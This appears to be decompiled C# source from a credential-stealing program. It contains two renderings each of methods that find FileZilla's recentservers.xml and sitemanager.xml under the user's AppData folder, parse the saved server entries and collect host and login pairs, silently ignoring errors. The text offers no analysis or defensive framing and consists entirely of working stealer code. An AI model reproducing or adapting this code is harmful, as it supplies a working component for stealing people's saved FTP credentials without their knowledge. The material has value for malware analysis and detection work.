// Token: 0x060002AA RID: 682 RVA: 0x0000BA08 File Offset: 0x00009C08 public static List <LoginPair> ParseConnections() { List <LoginPair> list = new List <LoginPair>(); try { string path = string.Format("{0}\\FileZilla\\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); string path2 = string.Format("{0}\\FileZilla\\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); if (File.Exists(path)) { list.AddRange(FileZilla.ParseCredentials(path)); } if (File.Exists(path2)) { list.AddRange(FileZilla.ParseCredentials(path2)); } } catch { } return(list); }
public static List <LoginPair> ParseConnections() { List <LoginPair> loginPairList = new List <LoginPair>(); try { string str1 = string.Format("{0}\\FileZilla\\recentservers.xml", (object)Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); string str2 = string.Format("{0}\\FileZilla\\sitemanager.xml", (object)Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); if (File.Exists(str1)) { loginPairList.AddRange((IEnumerable <LoginPair>)FileZilla.ParseCredentials(str1)); } if (File.Exists(str2)) { loginPairList.AddRange((IEnumerable <LoginPair>)FileZilla.ParseCredentials(str2)); } } catch { } return(loginPairList); }
// Token: 0x060002AB RID: 683 RVA: 0x0000BA80 File Offset: 0x00009C80 private static List <LoginPair> ParseCredentials(string Path) { List <LoginPair> list = new List <LoginPair>(); try { XmlTextReader reader = new XmlTextReader(Path); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(reader); foreach (object obj in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes) { LoginPair loginPair = FileZilla.ParseRecent((XmlNode)obj); if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } } catch { } return(list); }
private static List <LoginPair> ParseCredentials(string Path) { List <LoginPair> loginPairList = new List <LoginPair>(); try { XmlTextReader xmlTextReader = new XmlTextReader(Path); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load((XmlReader)xmlTextReader); foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes) { LoginPair recent = FileZilla.ParseRecent(childNode); if (recent.Login != "UNKNOWN" && recent.Host != "UNKNOWN") { loginPairList.Add(recent); } } } catch { } return(loginPairList); }